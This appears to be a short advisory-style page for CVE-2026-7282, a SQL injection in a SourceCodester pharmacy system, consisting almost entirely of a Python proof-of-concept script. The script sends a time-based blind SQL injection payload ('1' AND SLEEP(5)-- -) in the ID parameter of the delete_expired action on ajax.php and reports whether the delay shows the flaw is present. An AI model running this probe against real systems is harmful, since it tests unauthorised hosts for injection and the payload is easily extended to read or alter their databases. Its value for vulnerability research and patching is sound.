CVE-2026-7282: SourceCodester药房系统SQL注入漏洞

import requests def check_sqli(url): target = f"{url}/ajax.php" # Vulnerable parameter: ID # Exploiting delete_expired action payload = { "action": "delete_expired", "ID": "1' AND SLEEP(5)-- -" # Time-based blind SQL injection test } try: response = requests.post(target, data=payload, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability detected: SQL Injection in ID parameter.") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target_url = "http://example.com" check_sqli(target_url)